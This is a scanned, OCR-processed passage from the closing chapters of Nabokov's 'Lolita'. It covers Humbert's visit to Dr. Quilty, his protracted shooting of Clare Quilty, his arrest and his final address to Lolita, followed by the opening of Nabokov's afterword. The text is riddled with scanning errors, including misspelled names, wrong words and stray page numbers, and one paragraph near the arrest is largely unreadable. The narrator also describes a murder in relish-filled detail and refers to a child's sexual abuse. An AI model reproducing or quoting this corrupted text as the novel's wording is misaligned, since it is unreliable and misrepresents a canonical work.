lived at one +time at Beardsley? His daughter had just entered Beardsley +College. And how was — ? I gave all necessary information +about Mrs. Schiller. We had a pleasant business conference. I +walked out into the hot September sunshine a contented +pauper. + +Now that everything had been put out of the way, I could +dedicate myself freely to the main object of my visit to Rams- +dale. In the methodical manner on which I have always prided +myself, I had been keeping Clare Quilty’s face masked in my +dark dungeon, where he was waiting for me to come with + +264 + + + +barber and priest: “RiveHlez-vons, Laqueue, U est temps de +mouriiF I bare no time right now to discoss the mnemonics +of phyriognomization — I am on my way to his unde and +walking fast — but let me jot down this: I had preserved in +the alcohol of a douded memory the toad of a face. In the +course of a few glimpses, I had noticed its slight resemblance +to a cheery and rather repulsive wine dealer, a relative of mine +in Switzerland, With his dumbbells and stinking tricot, and +fat hairy arms, and bald patch, and pig-faced servant-concu- +bine, he was on the whole a harmless old rascal. Too harmless, +in fact, to he confused ’with my prey. In the state ofamind I +now found myself, I had lost contact with Trapp’s image. It +had become completely engulfed by the face of Clare Quilty — ■ +as represented, with artistic precision, by an easeled photo- +graph of him that stood on his unde’s desk. + +In Beardsley, at the hands of charming Dr. Molnar, I had +undergone a rather serious dental operation, retaining only a +few upper and lower front teeth. The substitutes were depend- +ent on a system of plates with an inconspicuous wire affair run- +ning along my upper gums. The whole arrangement was a +masterpiece of comfort, and my canines were in perfect health. +However, to garnish my secret purpose with a plausible pretext, +I told Dr. Quilty that, in hope of alleviating facial neuralgia, +I had derided to hare all my teeth removed. What would a +complete set of dentures cost? How long would the process +fake, assuming we fixed our first appointment for some time +in November? Where was his famous nephew now? Would it +be possible to hare them all out in one dramatic session? + +_ A white-smocked, gray-haired man, with a crew cut and the +big fiat cheeks of a politician. Dr. Quilty perched on the comer +of his desk, one foot dreamily and seductively rocking as he +launched on a glorious long-range plan. He would first proride +me with provisional plates until the gums settled. Then he +would make me a permanent set. He would like to have a look +at that mouth of mine. He wore perforated pied shoes. He had +not visited with the rascal since 1946, but supposed he could +he found at his ancestral home, Grimm Road, not far from +Partington. It was a noble dream. His foot rocked, his gaxe +was inspired. It would cost me around six hundred. He sug- +gested he take measurements right away, and make the first set +before starting operations. My mouth was to him a splendid +cave full of priceless treasures, but I denied him entrance. + +"No,” I said. "On second thoughts, I shall hare it all done + +265 + + + +by Dr. Molnar. His price is Higher, but he is of course a much +better dentist than you.” + +I do not know if any of my readers will ever have a chance +to say that. It is a delicious dream feeling. Clare's uncle re- +mained sitting on the desk, still looking dreamy, but his foot +had stopped push-rocking the cradle of rosy anticipation. On +the other hand, his nurse, a skeleton-thin, faded girl, with the +tragic eyes of unsuccessful blondes, rushed after me so as to +be able to slam the door in my wake. + +Push the magazine into the butt. Press home until you hear +or feel the magazine catch engage. Delightfully snug. Capacity: +eight cartridges. Full Blued. Aching to be discharged. + + +A cas station attendant in Parkington explained to me very +clearly how to get to Grimm Road. Wishing to be sure Quflty +would be at home, I attempted to ring him up but learned that +his private telephone had recently been disconnected. Did that +mean he was gone? I started to drive to Grimm Road, twelve +miles north of the town. By that time night had eliminated +most of the landscape and as I followed the narrow winding +highway, a series of short posts, ghostly white, with reflectors, +borrowed my own lights to indicate this or that curve. I could +make out a dark valley on one side of the road and wooded +slopes on the other, and in front of me, like derelict snow- +flakes, moths drifted out of the blackness into my probing +aura. At the twelfth mile, as foretold, a curiously hooded +bridge sheathed me for a moment and, beyond it, a white- +washed rock loomed on the right, and a few car lengths further, +on the same side, I turned off the highway up gravelly Grimm +Road. For a couple of minutes all was dank, dark, dense forest +Then, Pavor Manor, a wooden house with a turret, arose in a +circular clearing. Its windows glowed yellow and red; its drive +v/as cluttered with half a dozen cars. I stopped in the shelter +of the trees and abolished my lights to ponder the next move +quietly. He would be surrounded by his henchmen and whores. +I could not help seeing the inside of that festive and ram- +shackle castle in terms of “Troubled Teens,” a story in one of + +266 + + +Lei magazines, vague “orgies/’ a sinister adult with penele ci- +gar, drugs, bodyguards. At least, be was there. I would return +in the toipid morning. ~ + +Gently I rolled back to town, in that old faithful car of +mine which was serenely, almost cheerfully working for me. +My Lolital There was still a three-year-old bobby pin of +hers in the depths of the glove compartment. There was still +that stream of pale moths siphoned out of the night by my +headlights. Dark bams still propped themselves up here and +there by the roadside. People were still going to the movies. +While searching for night lodgings, I passed a drive-in. In +a selenian glow, truly mystical in its contrast with the moonless +and massive night, on a gigantic screen slanting away among +dark drowsy fields, a thin phantom raised a gun, both he and +his arm reduced to tremulous dishwater by the oblique angle +of that receding world, — and the next moment a row of trees +shut off the gesticulation. + + +35 + + +I left Insomnia Lodge next morning around eight and spent +some time in Parldngton. Visions _of bungling the execution +kept obsessing me. Thinking that perhaps the cartridges in the +automatic had gone stale during a week of inactivity, I re- +moved them and inserted a fresh batch. Such a thorough oil +bath did I give Chum that now I could not get rid of the +stuff. I bandaged him up with a rag, like a maimed limb, and +osed another rag to wrap up a handful of spare bullets. + +A thunderstorm accompanied me most of the way back to +Grimm Road, but when I reached Pavor Manor, the sun was +visible again, burning like a man, and the birds screamed in the +drenched and steaming trees. The elaborate and decrepit bouse +seemed to stand in a kind of daze, reflecting as it were my own +state, for I could not help realizing, as my feet touched the +springy and insecure ground, that I had overdone the alcoholic +stimulation business. + +A guardedly ironic silence answered my bell. The garage, +however, was loaded with his car, a black convertible for the +nonce. I tried the knocker. Re-nobody. With a petulant stud, + +267 + + + +I pushed the front door — and, how nice, it swung open as in +a medieval fairy tale. Having softly closed it behind me, I made +my way across a spacious and very ugly hall; peered into an ad- +jacent drawing room; noticed a number of used glasses growing +out of the carpet; decided that, master was still asleep in the +master bedroom. + +So I trudged upstairs. My right hand clutched muffled +Chum in my pocket, my left patted the sticky banisters. Of +the three bedrooms I inspected, one had obviously been slept +in that night. There was a library full of flowers. There was a +rather bare room with ample and deep mirrors and a polar bear +skin on the slippery floor. There were still other rooms. A +happy thought struck me. If and when master returned from +his constitutional in the woods, or emerged from some secret +lair, it might be wise for an unsteady gunman with a long +job before him to prevent his playmate from locking himself +up in a room. Consequently, for at least five minutes I went +about — lucidly insane, crazily calm, an enchanted and very +tight hunter — turning whatever keys in whatever locks there +were and pocketing them with my free left hand. The house +being an old one, had more planned privacy than have modem +glamour-boxes, where the bathroom, the only lockable locus, +has to be used for the furtive needs of planned parenthood. + +Speaking of bathrooms — I was about to visit a third one +when master came out of it, leaving a brief waterfall behind +him. The comer of a passage did not quite conceal me. Gray- +faced, baggy-eyed, fluffily disheveled in a scanty balding way, +but still perfectly recognizable, he swept by me in a purple +bathrobe, very like one I had. He either did not notice me, or +else dismissed me as some familiar and innocuous hallucina- +tion — and, showing me his hairy calves, he proceeded, sleep- +walker-wise, downstairs. I pocketed my last key and followed +him into the entrance hah. He had half opened his mouth +and the front door, to peer out through a sunny chink as one +who thinks he has heard a half-hearted visitor ring and recede. +Then, still ignoring the raincoated phantasm that had stopped +in midstairs, master walked into a cozy boudoir across the hall +from the drawing room, through which — taking it easy, know- +ing he was safe — I now went away from him, and in a bar- +adomed kitchen gingerly unwrapped dirty Chum, taking care +not to leave any oil stains on the chrome — I think I got the +wrong product, it was black and awfully messy. In my usual +meticulous way, I transferred naked Chum to a dean recess + +268 + + + +about me and made for the little boudoir. My step, as I say, +•was springy — too springy perhaps for success. But my heart +pounded with tiger joy, and I crunched a.cochtail glass under-, +foot + +Master met me in the Oriental parlor. + +“Now who are you?” he ashed in a high hoarse voice, his +hands thrust into his dressing-gown pockets, his eyes. fixing' a +point to the northeast of my head. “Are you by any chance +Brewster?” + +By now it was evident to everybody that he wns in a fog and +completely at my so-called mercy. I could enjoy myself. + +“That’s right,” I answered suavely. "Je suis Monsieur Brus- +f£re. Let us chat for a moment before we start.” + +He looked pleased. His smudgy mustache twitched. I re- +moved my raincoat. I was wearing a black suit, a black shirt, +no tie. We sat down in two easy chairs. + +"You know,” he said, scratching loudly his fleshy and gritty +gray cheek and showing his small pearly teeth in a crooked +grin, “you don’t look like Jack Brew'ster. I mean, the resem- +blance is not particularly striking. Somebody told me he had +a brother with the same telephone company.” + +To hare him trapped, after those years of repentance and +rage ... To look at the black hairs on the back of his pudgy +hands ... To wander with a hundred eyes over his purple +silks and hirsute chest foreglimpsing the punctures, and mess, +and music of pain ... To know that this semi-animated, +subhuman trickster who had sodomized my darling — oh, my +darling, this was intolerable bliss! + +“No, I am afraid I am neither of the Brewsters.” + +He cocked his head, looking more pleased than ever. + +“Guess again. Punch.” + +"Ah,” said Punch, “so j - ou have not come to bother me +about those long-distance calls?” + +"You do make them once in a while, don’t you?” + +"Excuse me?” + +I said I had said I thought he had said he had never — + +'Tcople,” he said, “people in general. I’m not accusing you, +Brewster, but you know it’s absurd the way people invade this +damned house without even knocking. The} - use the vaferre, +they use the kitchen, they use the telephone. Phil calls Phila- +delphia. Pat calls Patagonia. I refuse to pay. You have a funny +accent, Captain.” + +“Quflty,” I said, "do you recall a little girl called Delores + +269 + + +Haze, Dolly Haze? Dolly called Dolores, Colo?” + +“Sure, she may have made those calls, sure. Any place. +Paradise, Wash., Hell Canyon. Who cares?” + +“I do, Quilty. You see, I am her father.” + +“Nonsense,” he said. “You are not. You are some foreign +literary agent. A Frenchman once translated my Proud Flesh +as La FiertS de la Chair. Absurd.” + +“She was my child, Quilty.” + +In the state he was in he could not really be taken aback +by anything, but his blustering manner was not quite convinc- +ing. A sort of wary inkling kindled his eyes into a semblance +of life. They were immediately dulled again. + +“I'm very fond of children myself,” he said, “and fathers are +among my best friends.” + +He turned his head away, looking for something. He beat +his pockets. He attempted to rise from his seat. + +“Down!” I said — apparently much louder than I intended. + +“You need not roar at me,” he complained in his strange +feminine manner. “I just wanted to smoke. I'm dying for a +smoke.” + +“You're dying anyway.” + +“Oh, chucks,” he said. “You begin to, bore me. What do +you want? Are you French, mister? Woolly-woo-boo-are? Let's +go to the barroomette and have a stiff — ” + +He saw the little dark weapon lying in my palm as if I were +offering it to him. + +“Say!” he drawled (now imitating the underworld numb- +skull of movies), “that's a swell little gun you’ve got there. +What d'you want for her?” + +I slapped down his outstretched hand and he managed to +knock over a box on a low table near him. It ejected a handful +of cigarettes. + +"Here they are,” he said cheerfully. “You recall Kipling: +une femme est une femme, mais un Capoial est one cigarette ? +Now we need matches.” + +"Quilty,” I said. “I want you to concentrate. You are going +to die in a moment. The hereafter for all we know may be an +eternal state of excruciating insanity. You smoked your last +cigarette yesterday. Concentrate. Try to understand what is +happening to you.” + +He kept taking the Drome cigarette apart and munching +bits of it. + +“I am willing to try,” he said. “You are either Australian, or + +270 + + +a German refugee. Must you talk to me? This is a Gentile’s +house, you know. Maybe, you’d better run along. And do stop +demonstrating that gun. I’ve an old Stem-Luger in the music +room." + +I pointed Chum at his slippered foot and crushed the trig- +ger. It clicked. He looked at his foot, at the pistol, again at his +foot I made another awful effort, and, with a ridiculously +feeble and juvenile sound, it vent off. The bullet entered the +thick pink rug, and I had the paralyzing impression that it +had merely trickled in and might come out again. + +“See what I mean?” said Quilty. "You should be a little +more careful. Give me that, thing for Christ’s sake.” + +He reached for it. I pushed him back into the chair. The +rich joy was waning. It was high time I destroyed him, but he +must understand why he was being destroyed. His condition +infected me, the weapon felt limp and clumsy in my hand. + +"Concentrate," I said, "on the thought of Dolly Haze whom +you kidnaped — ” + +‘1 did notl” he cried. 'You’re all wet. I saved her from a +beastly pervert Show me your badge instead of shooting at my +foot, you ape, you. Where is that badge? I'm not responsible +for the rapes of others. Absurd! That joy ride, I grant you, was +a silly stunt but you got her back, didn’t you? Come, let s have +a drink.” + +I asked him whether he wanted to be executed sitting or +standing. + +"Ah, let me think,” he said. "It is not an easy question. In- +cidentally — -I made a mistake. Which I sincerely regret. You +sec, I had no fun with your Dolly. I am practically impotent, +to tell the melancholy truth. And I gave her a splendid vaca- +tion. She met some remarkable people. Do you happen to +know’ — ■” + +And with a tremendous lurch he fell all over me, sending +the pistol hurtling under a chest of drawers. Fortunately he +was more impetuous than rigorous, and I bad little difficulty +in shoring him back into his chair. + +He puffed a little and folded his arms on his chest. + +"Now you’re done it,” he said- “Vous vodd dans de beaux +draps. mon rieux.” + +His French was improving. + +I looked around. Perhaps, if — Perhaps I could — On my +hands and knees? Risk it? + +"AJors, que fait-on?” he asked watching me closely. + +271 + + + +I stooped. He did not move. I stooped lower. + +“My dear sir/’ he said, “stop trifling with life and death. I +am a playwright. I have written tragedies, comedies, fantasies. + +I have made private movies out of Justine and other eight- +eenth-century sexcapades. I’m the author of fifty-two successful +scenarios. I know all the ropes. Let me handle this. There +should be a poker somewhere, why don't I fetch it, and then +we'll fish out your property.” + +Fussily, busybodily, cunningly, he had risen again while he +talked. I groped under the chest trying at the same time to +keep an eye on him. All of a sudden I noticed that he had +noticed that I did not seem to have noticed Chum protruding +from beneath the other comer of the chest. We fell to +wrestling again. We rolled all over the floor, in each other’s +arms, like two huge helpless children. He was naked and goat- +ish under his robe, and I felt suffocated as he rolled over me. I +rolled over him. We rolled over me. They rolled over him. We +rolled over us. + +In its published form, this book is being read, I assume, in +the first years of 2000 a.d. (1935 plus eighty or ninety, live +long, my love); and elderly readers, will surely recall at this +point the obligatory scene in the Westerns of their childhood. +Our tussle, however, lacked the ox-stunning fisticuffs, the fly- +ing furniture. He and I were two large dummies, stuffed with +dirty cotton and rags. It was a silent, soft, formless tussle on the +part of the two literati, one of whom was utterly disorganized +by a drag while the other was handicapped by a heart condition +and too much gin. When at last I had possessed myself of my +precious weapon, and the scenario writer had been reinstalled +in his low chair, both of us were panting as the cowman and +the sheepman never do after their battle. + +I decided to inspect the pistol — our sweat might have +spoiled something — and regain my wind before proceeding to +the main item in the program. To fill in the pause, I proposed +he read his own sentence — in the poetical form I had given it +The term “poetical justice” is one that may be most happily +used in this respect I handed him a neat typescript. + +“Yes,” he said, “splendid idea. Let me fetch my reading +glasses” (he attempted to rise). + +“No.” + +“Just as you say. Shall I read out loud?” + +“Yes.” + +“Here goes. I see it’s in verse. + +272 + + + +Because yon tool: advantage of a sinner +because you took advantage +because you took + +because you took advantage of my disadvantage + +“That’s good, you know. That's damned good.” + +. . . when I stood Adam-naked + +before a federal law and all its stinging stars + +"Oh, grand stuffl” + +. . , Because you took advantage of a sin +when I was helpless moulting moist and tender +hoping for the best + +dreaming of marriage in s mountain state +aye of a litter of Lolitas . . . + +"Didn't get that" + +Because you took advantage of my inner +essential innocence +because you cheated me — + +"A little repetitious, what? ’Where was I?” + +Because you cheated me of my redemption + +because you took + +her at the age when lads + +play with erector sets + +"Getting smutty, eh?” + +a little downy girl still wearing poppies +still eating popcorn in the colored gloom +where tawny Indians took paid croppers +because you stole her + +from her wax-browed and dignified protector + +spitting into his heavy-lidded eye + +ripping his flavid toga and at dawn + +leasing the hog to roll upon his new discomfort + +the awfulncss of love and violets + +remorse despair while vou + + + +took a dull doll to pieces +and threw its head away +because of all you did +because of all I did not +you have to die + +“Well, sir, this is certainly a fine poem. Your best as far +as I am concerned.” + +He folded and handed it back to me. + +I asked him if he had anything serious to say before dying. +The automatic was again ready for use on the person. He +looked at it and heaved a big sigh. + +“Now look here, Mac,” he said. “You are drunk and I am a +sick man. Let us postpone the matter. I need quiet. I have to +nurse my impotence. Friends are coming in the afternoon to +take me to a game. This pistol-packing farce is becoming a +frightful nuisance. We are men of the world, in everything — +sex, free verse, marksmanship. If you bear me a grudge, I am +ready to make unusual amends. Even an old-fashioned ren- +contre, sword or pistol, in Rio or elsewhere — is not excluded. +My memory and my eloquence are not at their best today but +really, my dear Mr. Humbert, you were not an ideal stepfather, +and I did not force your little p rotdgde to join me. It was she +made me remove her to a happier home. This house is not as +modem as that ranch we shared with dear friends. But it is +roomy, cool in summer and winter, and in a word comfortable, +so, since I intend retiring to England or Florence forever, I +suggest you move in. It is yours, gratis. Under the condition +you stop pointing at me that [he swore disgustingly] gun. By +the -way, I do not know if you care for the bizarre, but if you +do, I can offer you, also gratis, as house pet, a rather exciting +little freak, a young lady with three breasts, one a dandy, this +is a rare and delightful marvel of nature. Now soyons raison- +nables. You will only wound me hideously and then rot in +jail while I recuperate in a tropical setting. I promise you, +Brewster, you will be happy here, with a magnificent cellar, +and all the royalties from my next play — I have not much at +the bank right now but I propose to borrow — you know, as the +Bard said, with that cold in his head, to borrow and to borrow +and to borrow. There are other advantages. We have -here +a most reliable and bribable charwoman, a Mrs. Vibrissa — • +curious name — who comes from the village twice a week, alas +not today, she has daughters, granddaughters, a thing or two +I know about the chief of police makes him my slave. I am a + +274 + + +playwright I have been called the American Maeterlinck +Maeterlinck-Schmetterling, says I. Come 'on! AD this is very j; +humiliatmg, and I am not sure I am doing the right thing. + +Ne\'er use herculanita with rum. Now drop that pistol like +a good fellow. I knew your dear wife slightly. You may use ■ +my wardrobe. Oh, another thing— you are going to like this. I jl +have an absolutely unique collection of erotica upstairs. Just +to mention one item: the in folio de-luxe Bagration Island by L +the explorer and psychoanalyst Melanie Weiss, a remarkable ji +lady, a remarkable work — drop that gun — with photographs j“ +of eight hundred and something male organs she examined h +and measured in 1932 on Bagration, in the Barda Sea, very !; +illuminating graphs, plotted with love under pleasant sides — p + +drop that gun — and moreover I can arrange for you to attend ; +executions, not everybody knows that the chair is painted V. +yellow — ” - ij + +Feu. This time I hit something hard. I hit the hack of a j> + +black rocking chair, not unlike Dolly SchiHei’s — my bullet hit j; + +the inside surface of its hack whereupon it immediately went +into a rocking act, so fast and with such zest that any one . +coming into the room might have been flabbergasted by the r +double miracle: that chair rocking in a panic all by itself, and ; +the armchair, where my purple target had just been, now void : +of all live content. Wiggling his fingers in the ah, with a rapid +heave of his rump, he flashed into the music room and the +next second W'e were tugging and gasping on both sides of the : +door which had a key I had overlooked. I won again, and with +another abrupt movement Clare the Impredictable sat down +before the piano and played several atrociously vigorous fun- ■ +damentally hysterical, plangent chords, his jowls quivering, his ; +spread hands tensely plunging, and his nostrils emitting the , +soundtrack snorts which had been absent from our fight. Still +singing those impossible sonorities, he made a futile attempt ■ +to open with his foot a kind of seaman’s chest near the piano. + +My next bullet caught him somewhere in the side, and he i +rose from his chair higher and higher, like old, gray, mad +Nijinski, like Old Faithful, like some old nightmare of mine, +to a phenomenal altitude, or so it seemed, as he rent the j +air— still shaking with the rich black music — head thrown +back in a howl, hand pressed to his brow, and with his other +hand clutching his armpit as if stung by a hornet, down he +came on his heels and, again a normal robed man, scurried out +into the hall. + +I see myself following him through the hall, with a kind of + +77 ? + + +double, triple, Icangaroo jump, remaining quite straight on +straight legs while bouncing up twice in his wake, and then +bouncing between him and the front door in a ballet-like stiff +bounce, with the purpose of heading him off, since the door +was not properly closed. + +Suddenly dignified, and somewhat morose, he started to +walk up the broad stairs, and, shifting my position, but not +actually following him up the steps, I fired three or four times +in quick succession, wounding him at every blaze; and every +time I did it to him, that horrible thing to him, his face would +twitch in an absurd clownish manner, as if he were exaggerat- +ing the pain; he slowed down, rolled his eyes half closing +them and made a feminine “ah I” and he shivered every time +a bullet hit him as if I were tickling him, and every time I +got him with those slow, clumsy, blind bullets of mine, he +would say under his breath, with a phoney British accent — +all the while dreadfully twitching, shivering, smirking, but +withal talking in a curiously detached and even amiable man- +ner: “Ah, that hurts, sir, enough I Ah, that hurts atrociously, +my dear fellow. I pray you, desist. Ah — very painful, very +painful, indeed . . . God! Hah! This is abominable, you +should really not — ” His voice trailed off as he reached the +landing, but he steadily walked on despite all the lead I had +lodged in his bloated body — and in distress, in dismay, I +understood that far from killing him I was injecting spurts +of energy into the poor fellow, as if the bullets had been +capsules wherein a heady elixir danced. , , + +I reloaded the thing with hands that were black and bloody +— I had touched something he had anointed with his thick +gore. Then I rejoined him upstairs, the keys jangling in my +pockets like gold. + +He was trudging from room to room, bleeding majestically, +trying to find an open window, shaking his head, and still try- +ing to talk me out of murder. I took aim at his head, and he +retired to the master bedroom with a burst of royal purple +where his ear had been. + +“Get out, get out of here,” he said coughing and spitting; +and in a nightmare of wonder, I saw this blood-spattered but +still buoyant person get into his bed and wrap himself up in +the chaotic bedclothes. I hit him at very close range through +the blankets, and then he lay back, and a big pink bubble with +juvenile connotations formed on his lips, grew to the size of +a toy balloon, and vanished. + +276 + + + +I may haw lost contact with reality for a -second or two— oh, +nothing of the I-just-blacked-out sort that your common crimi- +nal enacts; on the contrary, I want to stress the fact that I was +responsible for every shed drop of his bubbleblood; but a land +of momentary shift occurred as if I were in the connubial bed- +room, and Charlotte were sick in bed. Quflty was a very sick +roan. I held one of his slippers instead of the pistol — I was sit- +ting on the pistol. Then I made myself a little more comfort- +able in the chair near the bed, and consulted my wrist watch. +The crystal was gone but it ticked. The whole sad business +had taken more than an hour. He was quiet at last Far from +feeling any relief, a burden even weightier than the one I had +hoped to get rid of was with me, upon me, over me. I could +not bring myself to touch him in order to make sure he was +really dead. He looked it: a quarter of his face gone, and two +flies beside themselves with a dawning sense of unbelievable +luck. My hands were hardly in better condition than his. I +washed up as best I could in the adjacent bathroom. Now I +could leave. As I emerged on the landing, I was amazed to +discover that a vivacious buzz I had just been dismissing as a +mere singing in my ears was really a medley of voices and +radio music coming from the downstairs drawing room. + +I found there a number of people who apparently had just +arrived and were cheerfully drinking Quilty’s liquor. There was +a fat man in an easy chair; and two dark-haired pale young +beauties, sisters no doubt, big one and small one (almost a +child), demurely sat side by side on a davenport. A florid-faced +fellow with sapphire-blue eyes was in the act of bringing two +glasses out of the bar-like kitchen, where two or three women +were chatting and chinking ice. I stopped in the doorway and +said: “I have just killed Clare Quflty.” ‘‘Good for you," said +the florid fellow as he offered one of the drinks to the elder +girl. “Somebody ought to have done it long ago,” remarked +the fat man. “What does he say, Tony?” asked a faded blonde +from the bar. “He says,” answered the florid fellow, “he has +killed Cue.” “Well," said another unidentified man rising in +a comer where he had been crouching to inspect some records, +I guess we all should do it to him some day.” "Anyway,” said +Tony, "he'd better come down. We can’t wait for him much +longer if we want to go to that game.” “Give this man a drink +somebody," said the fat person. 'Want a beer?” said a woman +m slacks, showing it to me from afar. + +Only the two girls on the davenport, both wearing black, + +277 + + +the younger fingering a bright something about her white +neck, only they said nothing, but just smiled on, so young, so +lewd. As the music paused for a moment, there was a sudden +noise on the stairs. Tony and I stepped out into the hah. +Quilty of all people had managed to crawl out onto the land- +ing, and there we could see him, flapping and heaving, then +subsiding, forever this time, in a purple heap. + +“Hurry up. Cue-/' said Tony with a laugh. “I believe, hes +still—" He returned to the drawing room, music drowned the +rest of the sentence. - # . + +This, I said to myself, was the end of the ingenious play +staged for me by Quilty. With a heavy heart I left the house +and walked through the spotted blaze of the sun to my car. +Two other cars were parked on both sides of it, and I had +some trouble squeezing out. + + +The rest is a little flattish and faded. Slowly I drove downhill, +and presently found myself going at the same lazy pace in a +direction opposite to Parkington. I had left my raincoat in the +boudoir and Chum in the bathroom. No, it was not a house +I would have liked to live in. I wondered idly if some surgeon +of genius might not alter his own career, and perhaps the whole +destiny of mankind, by reviving quilted Quilty, Clare Obscure. +Not that I cared; on the whole I wished to forget the whole +mess — and when I did learn he was dead, the only satisfaction +it gave me, was the relief of knowing I need not mentally ac- +company for months a painful and disgusting convalescence +interrupted by all kinds of unmentionable operations and re- +lapses, and perhaps an actual visit from him, with trouble on +my part to rationalize him as not being a ghost. Thomas had +something. It is strange that the~'tactfie sense, which is so +infinitely less precious to men than sight, becomes at critical +moments our main, if not only, handle to reality. I was all +covered with Quilty — with the feel of that tumble before +the bleeding. + +The road now stretched across open country, and it occurred +to me — not by way of protest, not as a symbol, or anything like + +278 + + + +that, but merely as a novel experience — that since I had dis- \ +-regarded all laws of humanity, I might as well disregard the ) +rules of traffic. So I crossed to the left side of the highway and j +checked the feeling, and the feeling was good. It was a pleasant +diaphragmal melting, with elements of diffused tactility, all this j +enhanced by the thought that nothing could be nearer to the j +elimination of basic physical laws than deliberately driving on i +the wrong side of the road. In a way, it was a very spiritual itch. ; +Gently, dreamily, not exceeding twenty miles an hour, I drove +on that queer mirror side. Traffic was light Cars that now and h +then passed me on the side I had abandoned to them, honked ' ; +at me brutally. Cars coming towards me wobbled, swerved, and •; +cried oat in fear. Presently I found myself approaching pop- +ulated places. Passing through a red light was like a sip of for- ; +hidden Burgundy when I was a child. Meanwhile complica- 1; +ti'ons were arising. I was being followed and escorted. Then in '! +front of me I saw two cars placing themselves in such a man- v +ner as to completely block my way. With a graceful movement ; +I turned off the road, and after two or three big bounces, rode j +up a grassy slope, among surprised cow's, and there I came to +a gentle rocking stop. A kind of thoughtful Hegelian synthesis +linking up two dead women. + +I was soon to be taken out of the car (Hi, Melmoth, thanks +a lot, old fellow) — and was, indeed, looking forward to sur- +render myself to many hands, without doing anything to +cooperate, while the}' moved and carried me, relaxed, com- +fortable, surrendering myself lazily, like a patient, and de- +riving an eerie enjoyment from my limpness and the absolutely +reliable support given me by the police and the ambulance i + +people. And while I was waiting for them to run up to me j + +on the high slope, I evoked a last mirage of wonder and hope- ■ j + +lessness. One day, soon after her disappearance, an attack of j + +abominable nausea forced me to pull upon the ghost cf an ; + +old mountain road that now accompanied, now traverse u a t + +brand new highway, with its population cf asters bathin’ in : + +the detached warmth of a pale-blue afternoon in late summer. j + +After coughing myself inside out. I rested a while on s h-r.d- ; + +der, and then, thinking the sweet air minht da mr r.'^k (. + +walked a little way toward a low stone parapet on the prrc.moa j + +side of the highway. Small grasshoppers spurted cut of the +withered roadside weeds. A very h.-ht clour. v~.-< rptr" — ] + +arms and moving toward a slirintly mere suh f t.;::t.-'. <~v. f + +longing to another, mere slurgish, heaven 1 .:-, car- r;-;t «. ..i i + + +I approached the friendly abyss, I grew aware of melodious, +unity of sounds rising like vapor from a small mining town +that lay at my feet, in a fold of the valley. One could make +out the geometry of the streets between blocks of red and gray +roofs, and green puffs of trees, and a serpentine stream, and +the rich, ore-like glitter of the city dump, and beyond the +town, roads crisscrossing the crazy quilt of dark and pale +fields, and behind it all, great timbered mountains. But even +brighter than those quietly rejoicing colors — for there are +colors and shades that seem to enjoy themselves in good com- +pany — both brighter and dreamier to the ear than they were +to the eye, was that vapory vibration of accumulated sounds +that never ceased for a moment, as it rose to the lip of +granite where I stood wiping my foul mouth. And soon I +realized that all these sounds were of one nature, that no +other sounds but these came from the streets of the trans- +parent town, with the women at home and the men away. +Readerl What I heard was but the melody of children at play, +nothing but that, and so limpid was the air that within this +vapor of blended voices, majestic and minute, remote and +magically near, frank and divinely enigmatic — one could hear +now and then, as if released, an almost articulate spurt of vivid +laughter, or the crack of a bat, or the clatter of a toy wagon, +but it was all really too far for the eye to distinguish any +movement in the lightly etched streets. I stood listening to +that musical vibration from my lofty slope, to those flashes +of separate cries with a kind of demure murmur for back- +ground, and then I knew that the hopelessly poignant thing +was not Lolita's absence from my side, but the absence of her +voice from that concord. + +This then is my story. I have reread it. It has bits of marrow +sticking to it, and blood, and beautiful bright-green flies. At +this or that twist of it I feel my slippery self eluding me, glid- +ing into deeper and darker waters than I care to probe. I have +camouflaged what I could so as not to hurt people. And I have +toyed with many pseudonyms for myself before I hit on a +particularly apt one. There are in my notes "Otto Otto” and +‘Mesmer Mesmer” and “Lambert Lam bert,” but for some +reason I think my choice expresses the nastiness best. + +When I started, fifty-six days ago, to write Lolita, first in the +psychopathic ward for observation, and then in this well- +heated, albeit tombal, seclusion, I thought I would use these +notes in toto at my trial, to save not my head, of course, but + +280 + + +my sod. In mid-composition, however, I realized that I could +not parade living Lolita. I still may use parts of this memoir in +hermetic sessions, but publication is to be deferred. + +For reasons that may appear more obvious than they really +are, I am opposed to capital punishment; this attitude will be, +I trust, shared by the sentencing judge. Had I come before +myself, I would have given Humbert at least thirty-five years +for rape, and dismissed the rest of the charges. But even so, +Dolly Schiller will probably survive me by many years. The +following decision I make with all the legal impact and support +of a signed testament: I wish this memoir to be published +only when Lolita is no longer alive. + +Thus, neither of us is alive when the reader opens this book. +But while the blood still throbs through my writing hand, you +are still as much part of blessed matter as I am, and I can still +talk to you from here to Alaska. Be true to your Dick. Do not +let other fellows touch you. Do not talk to strangers. I hope +you will love your baby. I hope it will be a boy. That husband +of yours, I hope, will always treat you well, because otherwise +my specter shall come at him, like black smoke, like a de- +mented giant, and pull him apart nerve by nerve. And do not +pity C. Q. One had to choose between him and H. H., and one +wanted H, H. to exist at least a couple of months longer, so +as to have him make you live in the minds of later generations. +I am thinking of aurochs and angels, the secret of durable pig- +ments, prophetic sonnets, the refuge of art. And this is the +only immortality you and I may share, my Lolita. + + +Vladimir Nabokov + +on a book entitled LOLITA + + +After doing my impersonation of suave John Ray, the char- +acter in Lolita who pens the Foreword, any comments coming +straight from me may strike one — may strike me, in fact — +as an impersonation of Vla dim ir Nabokov talking about his +own book. A few points, however, have to be discussed; and +the autobiographic device may induce mimic and model to +blend. ' + +Teachers of Literature are apt to think up such problems +as “What is the author’s purpose?” or still worse 'What is +the guy trying to say?” Now, I happen to be the kind of author +who in starting to work on a book has no other purpose than +to get rid of that book and who, when asked to explain its +origin and growth, has to rely on such ancient terms as Inter- +reaction of Inspiration and Combination — which, I admit, +sounds like a conjurer explaining one trick by performing +another. + +The first little throb of Lolita went through me late in 1939 +or early in 1940, in Paris, at a time when I was laid up with a +severe attack of intercostal neuralgia. As far as I can recall, +the initial shiver of inspiration was somehow prompted by a + +282 + + + +newspaper story about an ape in the Jardin des Plantes who, +after months of coaxing by a scientist, produced the first +drawing ever charcoaled by an animal: this sketch showed the +bars of the poor creature's cage. The impulse I record had no +textual connection with the ensuing train of thought, which +resulted, however, in a prototype of my present novel, a short +story some thirty pages long. I wrote it in Russian, the lan- +guage in which I had been writing novels since 1924 (the best +of these are not translated into English, and all are prohibited j +for political reasons in Russia). The man was a Central j +European, the anonymous nymphet was French, and the loci +were Paris and Provence. I had him marry the little girl’s sick j +mother who soon died, and after a thwarted attempt to take • + +advantage of the orphan in a hotel room, Arthur (for that was * + +his name) threw himself under the wheels of a truck. I read j +the story one blue-papered wartime night to a group of friends +— Mark Aldanov, two social 